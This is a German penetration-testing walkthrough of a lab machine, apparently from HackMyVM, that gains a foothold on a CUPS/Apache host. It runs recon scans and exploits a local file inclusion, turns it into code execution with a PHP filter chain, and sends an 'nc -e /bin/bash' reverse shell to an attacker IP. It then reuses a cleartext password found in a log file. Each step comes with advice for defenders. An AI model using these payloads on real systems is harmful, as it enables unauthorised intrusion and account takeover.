192.168.2.118 08:00:27:6d:36:14 PCS Systemtechnik GmbH
Analyse: Mittels `arp-scan -l` wird das lokale Netzwerk gescannt. Ein aktives Gerät mit der IP `192.168.2.118` wird identifiziert. Die MAC-Adresse (`08:00:27:6d:36:14`) weist auf eine VirtualBox-Umgebung hin.
Bewertung: Die Ziel-IP wurde erfolgreich für weitere Scans bestimmt.
Empfehlung (Pentester): Führen Sie als Nächstes einen detaillierten Nmap-Scan auf die IP `192.168.2.118` durch.
Empfehlung (Admin): Netzwerksegmentierung und Überwachung auf ARP-Scan-Aktivitäten können die initiale Aufklärung erschweren.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-22 11:20 CEST Nmap scan report for printer.hmv (192.168.2.118) Host is up (0.00014s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 dbf946e520816ceec72508ab2251366c (RSA) | 256 33c09564294723dd864ee6b8073367ad (ECDSA) |_ 256 beaa6d4243dd7dd40e0d7478c189a136 (ED25519) 80/tcp open http Apache httpd 2.4.56 ((Debian)) |_http-title: Free Website Templates |_http-server-header: Apache/2.4.56 (Debian) 631/tcp open ipp CUPS 2.3 | http-robots.txt: 1 disallowed entry |_/ |_http-title: Home - CUPS 2.3.3op2 |_http-server-header: CUPS/2.3 IPP/2.1 MAC Address: 08:00:27:6D:36:14 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.14 ms printer.hmv (192.168.2.118)
Analyse: Der Nmap-Scan (`-sS`, `-sC`, `-T5`, `-A` Option `O` für OS Detection, `-p-`) identifiziert drei offene TCP-Ports: * Port 22: SSH (OpenSSH 8.4p1 auf Debian 11). * Port 80: HTTP (Apache 2.4.56 auf Debian) mit dem Titel "Free Website Templates". * Port 631: IPP (Internet Printing Protocol), betrieben von CUPS (Common Unix Printing System) Version 2.3. Das CUPS-Webinterface ist erreichbar und hat den Titel "Home - CUPS 2.3.3op2". `robots.txt` verbietet das Crawlen des Root-Verzeichnisses (`/`).
Bewertung: Mehrere Angriffsflächen sind vorhanden. SSH ist Standard. Der Apache-Webserver auf Port 80 muss weiter untersucht werden. CUPS auf Port 631 ist besonders interessant, da Drucksysteme oft Schwachstellen aufweisen oder Fehlkonfigurationen haben können.
Empfehlung (Pentester): Untersuchen Sie den Webserver auf Port 80 (Directory Busting, Schwachstellenscan). Untersuchen Sie das CUPS-Webinterface auf Port 631 (Standard-Credentials? Bekannte Schwachstellen für CUPS 2.3?). Halten Sie SSH als Backup-Zugangsvektor im Auge.
Empfehlung (Admin): Stellen Sie sicher, dass alle Dienste (SSH, Apache, CUPS) auf dem neuesten Stand sind. Beschränken Sie den Zugriff auf das CUPS-Webinterface (Port 631), wenn es nicht aus dem Netzwerk erreichbar sein muss. Härten Sie die Konfigurationen aller Dienste.
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.56 ((Debian)) 631/tcp open ipp CUPS 2.3
Analyse: Wiederholung des Nmap-Scans mit `grep open`, um nur die offenen Ports aufzulisten.
Bewertung: Bestätigt die drei zuvor gefundenen offenen Ports.
Empfehlung (Pentester): Keine neuen Informationen, weiter mit der Enumeration von Port 80 und 631.
Empfehlung (Admin): Keine.
lol ty google
[ASCII ART]
@0x00string
https://github.com/0x00string/oldays/blob/master/CVE-2015-1158.py
[*] locate available printer
[-] no printers
Analyse: Es wird versucht, einen bekannten Exploit (CVE-2015-1158, gehostet von @0x00string) für CUPS auszuführen. Das Python-2-Skript wird gegen das Ziel auf Port 631 ausgeführt. Das Skript scheitert mit der Meldung "no printers".
Bewertung: Der spezifische Exploit CVE-2015-1158 ist auf diese CUPS-Version (2.3.3op2 auf Debian 11) nicht anwendbar oder die Bedingungen für die Ausnutzung sind nicht erfüllt. Dies schließt jedoch andere CUPS-Schwachstellen nicht aus.
Empfehlung (Pentester): Recherchieren Sie nach anderen Schwachstellen für CUPS 2.3.3op2. Untersuchen Sie das Webinterface auf Port 631 manuell. Konzentrieren Sie sich parallel auf den Webserver auf Port 80.
Empfehlung (Admin): Halten Sie CUPS auf dem neuesten Stand. Beschränken Sie den Netzwerkzugriff auf den CUPS-Port.
http://printer.hmv/images (Status: 301) [Size: 311] [--> http://printer.hmv/images/]
Analyse: Ein Gobuster-Scan wird auf den Webserver auf Port 80 (`http://printer.hmv`) durchgeführt, um Verzeichnisse und Dateien zu finden. Es wird nur das Verzeichnis `/images` gefunden.
Bewertung: Der Haupt-Webserver scheint nur statischen Inhalt oder eine sehr einfache Struktur zu haben. Das Verzeichnis `/images` könnte interessant sein, wenn es Directory Listing erlaubt oder interessante Bilder enthält.
Empfehlung (Pentester): Überprüfen Sie `/images` im Browser. Führen Sie einen Nikto-Scan durch, um nach weiteren Hinweisen oder Fehlkonfigurationen zu suchen.
Empfehlung (Admin): Stellen Sie sicher, dass keine sensiblen Informationen über Verzeichnisstrukturen oder Dateiinhalte preisgegeben werden.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.118 + Target Hostname: 192.168.2.118 + Target Port: 80 [...] + Server: Apache/2.4.56 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + No CGI Directories found [...] + /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.0.1". [...] + /: Server may leak inodes via ETags, header found with file /, inode: 1bc8, size: 5f9a8abaa9f00, mtime: gzip. [...] + OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET . + /images/: Directory indexing found. [...] + 1 host(s) tested
Analyse: Nikto wird auf Port 80 ausgeführt. Es bestätigt den Apache-Server und findet mehrere kleinere Probleme: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Mögliches internes IP-Leck (hier nur `127.0.0.1`) über den Location-Header bei `/images`. * Inode-Leak über ETags. * Bestätigt Directory Indexing für `/images`.
Bewertung: Die Ergebnisse bestätigen die Gobuster-Funde und weisen auf allgemeine Härtungsmöglichkeiten hin. Das Directory Indexing für `/images` ist der konkreteste nächste Schritt. Die anderen Funde sind geringfügig.
Empfehlung (Pentester): Untersuchen Sie den Inhalt von `/images` über den Browser. Prüfen Sie, ob dort interessante Dateien liegen.
Empfehlung (Admin): Deaktivieren Sie Directory Indexing (`Options -Indexes` in Apache). Implementieren Sie die fehlenden Sicherheitsheader. Konfigurieren Sie ETags, um keine Inodes preiszugeben (`FileETag MTime Size`).
printer.hmv [192.168.2.118] 631 (ipp) open
Analyse: Erneuter Verbindungsversuch mit Netcat auf Port 631.
Bewertung: Bestätigt, dass der CUPS-Port weiterhin erreichbar ist. Liefert keine neuen Informationen.
Empfehlung (Pentester): Fokus auf die Enumeration des Webservers oder die Suche nach alternativen Wegen.
Empfehlung (Admin): Keine.
view-source:http://printer.hmv/ http://printer4life.printer.hmv');">
Analyse: Bei der Untersuchung des Quellcodes der Hauptseite (`http://printer.hmv/`) wird ein JavaScript `onload`-Ereignis entdeckt, das eine URL in die Browser-Konsole schreibt: `http://printer4life.printer.hmv`.
Bewertung: **Sehr wichtiger Fund!** Ähnlich wie bei der vorherigen Maschine wird hier eine Subdomain (`printer4life.printer.hmv`) über den Quellcode aufgedeckt. Diese Subdomain ist das wahrscheinlichste Ziel für weitere Angriffe, da der Haupt-Webserver wenig Angriffsfläche bot.
Empfehlung (Pentester): Fügen Sie `printer4life.printer.hmv` zur lokalen `/etc/hosts`-Datei hinzu, die auf `192.168.2.118` zeigt. Beginnen Sie mit der Enumeration dieser Subdomain (Port-Scan ist nicht nötig, da sie auf derselben IP läuft, aber Directory Busting, Nikto, manuelle Analyse).
Empfehlung (Admin): Vermeiden Sie das Offenlegen interner oder alternativer Hostnamen in öffentlich zugänglichem Code. Konfigurieren Sie DNS und virtuelle Hosts sorgfältig.
Target: http://printer.hmv/
[...]
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 200 16 L 30 W 365 Ch "printer4life"
Analyse: Wfuzz wird verwendet, um Subdomains durch Manipulation des `Host`-Headers zu finden. Es testet Einträge aus einer Subdomain-Liste (`FUZZ.printer.hmv`). `--hh 7112` blendet Antworten aus, die der Baseline-Antwort der Hauptseite entsprechen. Es findet erfolgreich die Subdomain `printer4life` (Antwortcode 200, abweichende Größe).
Bewertung: Bestätigt die zuvor im Quellcode gefundene Subdomain `printer4life.printer.hmv` mit einer alternativen Methode.
Empfehlung (Pentester): Die Subdomain ist bestätigt. Konzentrieren Sie sich auf `http://printer4life.printer.hmv`.
Empfehlung (Admin): Schützen Sie Anwendungen auf Subdomains genauso sorgfältig wie Hauptanwendungen. Verwenden Sie keine leicht zu erratenden Subdomain-Namen für interne oder Testsysteme.
http://printer4life.printer.hmv/index.php (Status: 200) [Size: 365] http://printer4life.printer.hmv/logo (Status: 200) [Size: 77750] http://printer4life.printer.hmv/logo.jpg (Status: 200) [Size: 77750] http://printer4life.printer.hmv/hp (Status: 200) [Size: 33673] http://printer4life.printer.hmv/hp.jpg (Status: 200) [Size: 33673] http://printer4life.printer.hmv/hp.php (Status: 200) [Size: 27] http://printer4life.printer.hmv/canon.php (Status: 200) [Size: 30] http://printer4life.printer.hmv/canon.jpg (Status: 200) [Size: 101939] http://printer4life.printer.hmv/canon (Status: 200) [Size: 101939 http://printer4life.printer.hmv/epson (Status: 200) [Size: 64020] http://printer4life.printer.hmv/epson.php (Status: 200) [Size: 30]
Analyse: Gobuster wird nun auf die Subdomain `printer4life.printer.hmv` angewendet. Es findet `index.php` sowie spezifische PHP-Seiten (`hp.php`, `canon.php`, `epson.php`) und dazugehörige Bilder.
Bewertung: Die Subdomain hostet eine dynamische PHP-Anwendung, die anscheinend verschiedene Druckerseiten anzeigt. Die PHP-Dateien, insbesondere `index.php`, sind die Hauptziele für Schwachstellenanalysen.
Empfehlung (Pentester): Analysieren Sie `index.php` im Browser. Testen Sie auf LFI/RFI, Command Injection, SQLi, XSS, insbesondere über Parameter, die möglicherweise zum Laden der verschiedenen Druckerseiten (`hp`, `canon`, `epson`) verwendet werden.
Empfehlung (Admin): Implementieren Sie sichere Programmierpraktiken für die PHP-Anwendung. Führen Sie Code-Reviews und Sicherheitstests durch.
curl http://printer4life.printer.hmv/index.php
Laser Printer
>Model 34-07-L
Analyse: `curl` wird verwendet, um den Inhalt von `index.php` auf der Subdomain abzurufen. Es wird nur ein kleiner Textausschnitt angezeigt.
Bewertung: Bestätigt die Erreichbarkeit, liefert aber wenig Einblick. Manuelle Analyse im Browser oder Quellcode-Analyse ist erforderlich.
view-source:http://printer4life.printer.hmv/index.php?page=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[...]
mabelle:x:1000:1000:,,,:/home/mabelle:/bin/bash
[...]
kierra:x:1001:1002:,,,:/home/kierra:/bin/bash
Analyse: Es wird versucht, eine Local File Inclusion (LFI)-Schwachstelle auszunutzen, indem der Parameter `page` mit dem Wert `/etc/passwd` an `index.php` übergeben wird. Der Inhalt der `/etc/passwd`-Datei wird im Quellcode der Antwortseite angezeigt.
Bewertung: **Kritische LFI-Schwachstelle bestätigt!** Der `page`-Parameter erlaubt das Lesen beliebiger Dateien, auf die der Webserver-Benutzer (`www-data`) Lesezugriff hat. Dies ermöglicht das Auslesen von Konfigurationsdateien, Quellcodes und potenziell sensiblen Informationen. Die Benutzer `mabelle` und `kierra` werden als potenzielle Login-Benutzer identifiziert.
Empfehlung (Pentester): Nutzen Sie die LFI-Schwachstelle, um:
1. Die Konfiguration des Webservers zu lesen (`/etc/apache2/apache2.conf`, `/etc/apache2/sites-enabled/000-default.conf`).
2. Den Quellcode der PHP-Anwendung zu lesen (`/var/www/printer4life/index.php`, `hp.php`, etc.) – am besten mit dem `php://filter`-Wrapper, um die Ausführung zu umgehen.
3. Andere interessante Systemdateien zu lesen (`/etc/hosts`, `/etc/resolv.conf`, `/etc/crontab`, Logdateien in `/var/log/`).
4. Zu versuchen, die LFI zu RCE zu eskalieren (z.B. via Log Poisoning, `/proc/self/environ` oder PHP Filter Chaining).
Empfehlung (Admin): **LFI-Schwachstelle sofort beheben!** Validieren und bereinigen Sie den `page`-Parameter strikt. Verwenden Sie Whitelists für erlaubte Dateien statt Blacklists oder direkter Pfadübergabe. Beschränken Sie die Leserechte des `www-data`-Benutzers auf das absolute Minimum.
curl http://printer4life.printer.hmv/index.php?page=/etc/passwd%20|%20grep%20bash
root:x:0:0:root:/root:/bin/bash
mabelle:x:1000:1000:,,,:/home/mabelle:/bin/bash
kierra:x:1001:1002:,,,:/home/kierra:/bin/bash
Analyse: Der `curl`-Befehl holt den Inhalt von `/etc/passwd` über die LFI und filtert ihn lokal mit `grep` nach Zeilen, die `bash` enthalten, um Benutzer mit einer Login-Shell zu finden.
Bewertung: Bestätigt die Benutzer `root`, `mabelle` und `kierra` als potenzielle Ziele für weitere Angriffe.
Empfehlung (Pentester): Konzentrieren Sie sich darauf, Zugangsdaten oder Schwachstellen zu finden, die zu einem dieser Benutzer führen.
Empfehlung (Admin): Keine spezifische Aktion, außer der Behebung der LFI.
Analyse: Es folgen erneute, erfolglose Versuche, den CUPS-Exploit auszuführen, diesmal gegen die Subdomain. Diese werden hier ignoriert, da die LFI der vielversprechendere Weg ist.
[...] ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000690: 200 70 L 237 W 2100 Ch "/etc/dhcp/dhclient.conf" 000000723: 200 38 L 162 W 1918 Ch "/proc/self/mounts" 000000726: 200 16 L 31 W 392 Ch "/proc/self/cmdline" 000000725: 200 72 L 166 W 1700 Ch "/proc/self/status" [...] 000000840: 200 139 L 426 W 3651 Ch "/etc/ssh/sshd_config" 000000886: 200 38 L 220 W 1407 Ch "/etc/crontab" 000000880: 200 31 L 139 W 1171 Ch "/etc/fstab" 000000874: 200 49 L 82 W 2185 Ch "/etc/passwd" [...]
Analyse: Wfuzz wird mit einer Liste gängiger Konfigurations- und Logdateipfade verwendet, um diese über die LFI-Schwachstelle auszulesen. Viele Systemdateien (`dhclient.conf`, `/proc/...`, `sshd_config`, `crontab`, `fstab`, `passwd` etc.) können erfolgreich gelesen werden.
Bewertung: Dies bestätigt die weitreichenden Leserechte durch die LFI und ermöglicht das Sammeln detaillierter Systeminformationen.
Empfehlung (Pentester): Analysieren Sie die gelesenen Dateien auf sensible Informationen, Fehlkonfigurationen oder Hinweise auf weitere Schwachstellen. Lesen Sie insbesondere die Apache-Konfigurationsdateien und den PHP-Quellcode.
Empfehlung (Admin): Beheben Sie die LFI. Beschränken Sie die Leserechte des Webserver-Benutzers.
view-source:http://printer4life.printer.hmv/index.php?page=/etc/apache2/apache2.conf #ServerRoot "/etc/apache2" [...] #Mutex file:${APACHE_LOCK_DIR} default
view-source:http://printer4life.printer.hmv/index.php?page=/etc/apache2/sites-enabled/000-default.confServerAdmin webmaster@localhost DocumentRoot /var/www/html [...] ServerName printer4life.printer.hmv DocumentRoot /var/www/printer4life Options Indexes FollowSymLinks MultiViews AllowOverride All Require all granted ErrorLog ${APACHE_LOG_DIR}/printer4life_error.log CustomLog ${APACHE_LOG_DIR}/printer4life_access.log combined
Analyse: Die Apache-Hauptkonfiguration und die VirtualHost-Konfiguration werden über die LFI ausgelesen. Die VHost-Konfiguration bestätigt, dass die Subdomain `printer4life.printer.hmv` ihr DocumentRoot in `/var/www/printer4life` hat.
Bewertung: Wichtige Information zur Lokalisierung des Quellcodes der Subdomain-Anwendung.
Empfehlung (Pentester): Verwenden Sie die LFI mit dem `php://filter`-Wrapper, um den Quellcode von `/var/www/printer4life/index.php` und anderen PHP-Dateien in diesem Verzeichnis zu lesen.
Empfehlung (Admin): Beheben Sie die LFI. Konfigurieren Sie Apache sicherer (z.B. `AllowOverride None`).
view-source:http://printer4life.printer.hmv/index.php?page=php://filter/convert.base64-encode/resource=index.php
PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT5QcmludGVyczwvdGl0bGU+CjwvaGVhZD4KPGJvZHk+CiAgICA8aDE+U2VsZWN0IGEgcHJpbnRlcjwvaDE+CiAgICA8cD5JIGxvdmUgcHJpbnRlcnMgc28gbXVjaCAhIEkgcHJpbnQgZXZlcnkgbWludXRlPC9wPgogICAgPHVsPgogICAgICAgIDxsaT48YSBocmVmPSJpbmRleC5waHA/cGFnZT1ocCI+SFA8L2E+PC9saT4KICAgICAgICA8bGk+PGEgaHJlZj0iaW5kZXgucGhwP3BhZ2U9Y2Fub24iPkNhbm9uPC9hPjwvbGk+CiAgICAgICAgPGxpPjxhIGhyZWY9ImluZGV4LnBocD9wYWdlPWVwc29uIj5FcHNvbjwvYT48L2xpPgogICAgPC91bD4KPC9ib2R5Pgo8L2h0bWw+Cgo8P3BocAokcGFnZSA9IGFycmF5X2tleV9leGlzdHMoJ3BhZ2UnLCAkX0dFVCkgPyAkX0dFVFsncGFnZSddIDogbnVsbDsKaWYgKCFpc19udWxsKCRwYWdlKSkgewogICAgaWYgKGZpbGVfZXhpc3RzKCRwYWdlIC4gIi5waHAiKSkgewogICAgICAgIGluY2x1ZGUoJHBhZ2UgLiAiLnBocCIpOwogICAgfSBlbHNlIHsKICAgICAgICBpbmNsdWRlKCRwYWdlKTsKICAgIH0KfSBlbHNlIHsKfQo/Pgo=
Analyse: Die LFI wird mit dem `php://filter`-Wrapper kombiniert, um den Base64-kodierten Quellcode von `index.php` zu erhalten. Nach der Dekodierung wird der PHP-Code sichtbar, der die LFI verursacht. Er prüft, ob der `page`-Parameter existiert. Wenn ja, prüft er, ob `$page . ".php"` existiert. Falls ja, wird diese Datei inkludiert. Andernfalls wird der Wert von `$page` direkt inkludiert (`include($page);`).
Bewertung: Dies bestätigt die LFI-Logik und zeigt, dass die Verwundbarkeit im `else`-Zweig liegt, der eine direkte Inkludierung des Parameterwerts erlaubt, wenn keine entsprechende `.php`-Datei gefunden wird. Dies ermöglicht das Lesen beliebiger Dateien. Das Anhängen von `.php` könnte die direkte Inkludierung anderer PHP-Dateien erschweren, aber `php://filter` umgeht dies zum Lesen des Quellcodes.
Empfehlung (Pentester): Da der Code nun bekannt ist, können gezielte Exploits entwickelt werden. Die direkte `include($page)`-Funktion ist der Schlüssel. Versuchen Sie, RCE über PHP-Filterketten zu erreichen.
Empfehlung (Admin): Beheben Sie die LFI durch sichere Implementierung der Dateieinbindung (z.B. Whitelisting erlaubter Seitenwerte statt direkter Pfadverwendung).
Analyse: Die Quellcodes von `hp.php`, `epson.php` und `canon.php` wurden ebenfalls über die LFI mit `php://filter` ausgelesen (wie im Berichtstext gezeigt). Sie enthalten jeweils nur einfachen Code, der ein Bild-Tag (``) mit dem Pfad zur entsprechenden Bilddatei ausgibt.
Bewertung: Diese Skripte selbst scheinen keine weiteren Schwachstellen zu enthalten.
Empfehlung (Pentester): Konzentrieren Sie sich auf die Ausnutzung der LFI in `index.php`.
Empfehlung (Admin): Keine spezifischen Empfehlungen für diese einfachen Skripte, außer der Behebung der LFI in `index.php`.
Analyse: Nach der Bestätigung der LFI und dem Auslesen des Quellcodes wird nun versucht, die LFI zu Remote Code Execution (RCE) zu eskalieren, um eine Shell zu erhalten.
www-data@printer:/var/www/printer4life$ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://printer4life.printer.hmv/index.php?page=/etc/passwd&FUZZ=id" --hh 2185 --hc 404
Target: http://printer4life.printer.hmv/index.php?page=/etc/passwd&FUZZ=id
[...]
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000102: 200 16 L 30 W 365 Ch "page"
[...]
Analyse: Ein weiterer Wfuzz-Scan versucht, zusätzliche GET-Parameter zu finden, während der `page`-Parameter auf `/etc/passwd` gesetzt ist. Es wird nur der bereits bekannte `page`-Parameter gefunden.
Bewertung: Bestätigt, dass `page` der primäre (und wahrscheinlich einzige) relevante GET-Parameter ist.
Empfehlung (Pentester): Fokus auf `page`-Parameter für RCE.
Empfehlung (Admin): Keine.
PayloadsAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion https://github.com/synacktiv/php_filter_chain_generator
Analyse: Recherche nach Methoden zur Eskalation von LFI zu RCE. Die Ressourcen "PayloadsAllTheThings" und das Tool "php_filter_chain_generator" werden erwähnt. Dies deutet auf den Plan hin, PHP-Filterketten zu verwenden.
Bewertung: Korrekte Vorgehensweise bei der Suche nach fortgeschrittenen LFI-Exploitation-Techniken.
[+] The following gadget chain will generate the following code : system($GET[cmd]); (base64 value: PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg)
http://printer4life.printer.hmv/index.php?page=php://filter/convert.iconv...convert.base64-decode/resource=php://temp
Analyse: Das Tool `php_filter_chain_generator.py` wird verwendet, um eine Kette von `php://filter`-Wrappern zu generieren. Das Ziel (`--chain`) ist es, den PHP-Code ` system($GET['cmd']); ?>` auf dem Server auszuführen. Das Tool generiert eine sehr lange URL, die diese Filterkette als Wert für den `page`-Parameter enthält und `php://temp` als Ressource verwendet, um den Code einzuschleusen.
Bewertung: Erstellung eines komplexen Payloads zur Umgehung von LFI-Einschränkungen und zur Erzielung von RCE.
Empfehlung (Pentester): Testen Sie die generierte URL, indem Sie einen Befehl über den `cmd`-Parameter anhängen (z.B. `&cmd=id`).
Empfehlung (Admin): Stärkste Verteidigung ist die Behebung der LFI-Schwachstelle. Das Aktualisieren von PHP kann auch die Verfügbarkeit bestimmter Filter einschränken.
http://printer4life.printer.hmv/index.php?page=php://filter/.../resource=php://temp&cmd=id Select a printer [...] uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Die generierte Filterketten-URL wird aufgerufen, wobei `&cmd=id` angehängt wird. Die Antwort der Webseite enthält am Ende die Ausgabe des `id`-Befehls.
Bewertung: **RCE erfolgreich bestätigt!** Die PHP-Filterkette funktioniert und erlaubt die Ausführung von Befehlen als `www-data` über den `cmd`-Parameter.
Empfehlung (Pentester): Nutzen Sie diese RCE, um eine Reverse Shell zu etablieren.
Empfehlung (Admin): LFI beheben!
listening on [any] 9001 ...
http://printer4life.printer.hmv/index.php?page=php://filter/.../resource=php://temp&cmd=nc%20-e%20/bin/bash%20192.168.2.199%209001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.123] 48298
Analyse: Ein Netcat-Listener wird auf Port 9001 gestartet. Die Filterketten-URL wird erneut aufgerufen, diesmal mit einem URL-kodierten `cmd`-Parameter, der eine Netcat-Reverse-Shell (`nc -e /bin/bash 192.168.2.199 9001`) startet. Der Listener empfängt erfolgreich die Verbindung. (Hinweis: Die im `connect`-Output angezeigte Ziel-IP `192.168.2.123` weicht von der gescannten IP `192.168.2.118` ab, möglicherweise ein Tippfehler im Bericht oder eine IP-Änderung).
Bewertung: **Initialer Zugriff erfolgreich erlangt!** Eine Reverse Shell als `www-data` wurde über die LFI-zu-RCE-Eskalation mittels PHP-Filterketten etabliert.
Empfehlung (Pentester): Stabilisieren Sie die Shell. Beginnen Sie mit der Enumeration für die Privilegienausweitung als `www-data`.
Empfehlung (Admin): LFI beheben. Egress-Filtering implementieren, um ausgehende Verbindungen wie Reverse Shells zu erschweren.
www-data@printer:/var/www/printer4life$ find / -type f -perm -4000 -ls 2>/dev/null
412370 52 -rwsr-xr-- 1 root messagebus 51336 Oct 5 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper [...] 434892 24 -rwsr-xr-x 1 root root 23448 Jan 13 2022 /usr/bin/pkexec [...] 434904 180 -rwsr-xr-x 1 root root 182600 Jan 14 2023 /usr/bin/sudo [...]
Analyse: Als `www-data` wird nach SUID-Binaries gesucht. Die Liste enthält Standard-Binaries sowie `pkexec` und `sudo`.
Bewertung: Keine sofort offensichtlichen ungewöhnlichen SUID-Dateien. Weitere Enumeration ist nötig.
Empfehlung (Pentester): Überprüfen Sie `sudo -l`. Suchen Sie nach lesbaren Logdateien oder Konfigurationsdateien, die Passwörter enthalten könnten.
Empfehlung (Admin): Minimieren Sie SUID-Binaries.
www-data@printer:/var/www/printer4life$ grep mabelle access_log
I [22/Apr/2023:07:41:47 +0200] cupsdCheckAuth: Authenticated as mabelle with password LIrmxk8EYtD
www-data@printer:/var/www/printer4life$ grep root access_log
D [22/Apr/2023:07:41:47 +0200] cupsdIsAuthorized: requesting-user-name="root" [...]
Analyse: Bei der Untersuchung von Logdateien (vermutlich CUPS-Logs in `/var/log/cups/access_log`, da CUPS-Authentifizierung erwähnt wird) wird eine Zeile gefunden, die eine erfolgreiche Authentifizierung für den Benutzer `mabelle` mit dem Passwort `LIrmxk8EYtD` im Klartext protokolliert.
Bewertung: **Kritischer Fund! Passwort im Klartext in Logdatei.** Dies ermöglicht die direkte Übernahme des `mabelle`-Accounts.
Empfehlung (Pentester): Verwenden Sie `su mabelle` oder SSH mit dem gefundenen Passwort.
Empfehlung (Admin): **Beheben Sie sofort das Logging von Klartext-Passwörtern!** Überprüfen Sie die CUPS-Konfiguration (`cupsd.conf`, insbesondere `LogLevel`) und andere Logging-Konfigurationen. Ändern Sie das Passwort von `mabelle`.
www-data@printer:/var/www/printer4life$ su mabelle
Password: LIrmxk8EYtD mabelle@printer:/var/www/printer4life$
Analyse: Erfolgreicher Wechsel zum Benutzer `mabelle` mit dem aus der Logdatei extrahierten Passwort.
Bewertung: Privilegien von `www-data` zu `mabelle` eskaliert.
Empfehlung (Pentester): Enumerieren Sie als `mabelle`. Überprüfen Sie Home-Verzeichnis, SSH-Schlüssel, Gruppen, `sudo -l`.
Empfehlung (Admin): Passwort ändern, Logging korrigieren.
mabelle@printer:/var/www/printer4life$ cd ~
mabelle@printer:~$ ls -la
total 32 drwxr-xr-x 4 mabelle mabelle 4096 May 20 08:50 . drwxr-xr-x 4 root root 4096 Apr 22 08:33 .. lrwxrwxrwx 1 root root 9 Apr 14 20:51 .bash_history -> /dev/null -rw-r--r-- 1 mabelle mabelle 220 Apr 14 20:50 .bash_logout -rw-r--r-- 1 mabelle mabelle 3526 Apr 14 20:50 .bashrc drwxr-xr-x 3 mabelle mabelle 4096 May 20 08:50 .local -rw-r--r-- 1 mabelle mabelle 2602 Apr 22 08:16 mabelle_private_ssh_key -rw-r--r-- 1 mabelle mabelle 807 Apr 14 20:50 .profile drwx------ 2 mabelle mabelle 4096 Apr 22 08:15 .ssh
mabelle@printer:~$ cd .ssh/
mabelle@printer:~/.ssh$ ls -la
total 16
drwx------ 2 mabelle mabelle 4096 Apr 22 08:15 .
drwxr-xr-x 4 mabelle mabelle 4096 May 20 08:50 ..
-rw-r--r-- 1 mabelle mabelle 573 Apr 20 06:15 authorized_keys
-rw------- 1 mabelle mabelle 2602 Apr 20 06:15 id_rsa
mabelle@printer:~/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
[KEY DATA]
-----END OPENSSH PRIVATE KEY-----
Analyse: Im Home-Verzeichnis von `mabelle` wird die Datei `mabelle_private_ssh_key` gefunden, die identisch mit `~/.ssh/id_rsa` zu sein scheint. Der private SSH-Schlüssel von `mabelle` wird ausgelesen.
Bewertung: Ermöglicht einen direkten SSH-Login als `mabelle` und bietet eine stabilere Verbindung.
Empfehlung (Pentester): Kopieren Sie den Schlüssel (`id_rsa`) auf Ihre lokale Maschine, setzen Sie die Berechtigungen (`chmod 600 id_rsa`) und verwenden Sie `ssh mabelle@printer.hmv -i id_rsa` für den Login.
Empfehlung (Admin): Schützen Sie private SSH-Schlüssel mit Passphrasen. Stellen Sie sicher, dass private Schlüssel nicht unnötigerweise im Home-Verzeichnis herumliegen.
[...]
Linux printer.hmv 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
[...]
Last login: Sat May 20 09:05:20 2023 from 192.168.0.10
mabelle@printer:~$
Analyse: Erfolgreicher SSH-Login als `mabelle` unter Verwendung des extrahierten privaten Schlüssels.
Bewertung: Stabile Sitzung als `mabelle` etabliert.
mabelle@printer:~$ sudo -l
[sudo] password for mabelle: LIrmxk8EYtD
Sorry, user mabelle may not run sudo on printer.
Analyse: `sudo -l` zeigt, dass `mabelle` keine `sudo`-Rechte hat.
Bewertung: Kein direkter Weg zur Eskalation über `sudo` für `mabelle`.
mabelle@printer:~$ getcap -r / 2>/dev/null
mabelle@printer:~$
Analyse: Suche nach Dateien mit gesetzten Linux Capabilities ergibt keine Treffer.
Bewertung: Kein Eskalationspfad über Capabilities gefunden.
mabelle@printer:~$ id
uid=1000(mabelle) gid=1000(mabelle) groups=1000(mabelle),1001(lpadmin)
Analyse: Der `id`-Befehl zeigt, dass `mabelle` Mitglied der Gruppe `lpadmin` ist.
Bewertung: Die Mitgliedschaft in `lpadmin` ist relevant, da diese Gruppe oft erweiterte Rechte im CUPS-System hat.
Empfehlung (Pentester): Untersuchen Sie, welche Aktionen Mitglieder der `lpadmin`-Gruppe durchführen können (z.B. Drucker hinzufügen/konfigurieren, Filter ändern). Suchen Sie nach lokalen Diensten oder Backdoors, die möglicherweise ausgenutzt werden können.
Empfehlung (Admin): Weisen Sie Benutzer nur den Gruppen zu, die sie wirklich benötigen. Überprüfen Sie die Standardberechtigungen der `lpadmin`-Gruppe.
mabelle@printer:/home/kierra$ ss -atlpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 10 127.0.0.1:1001 0.0.0.0:*
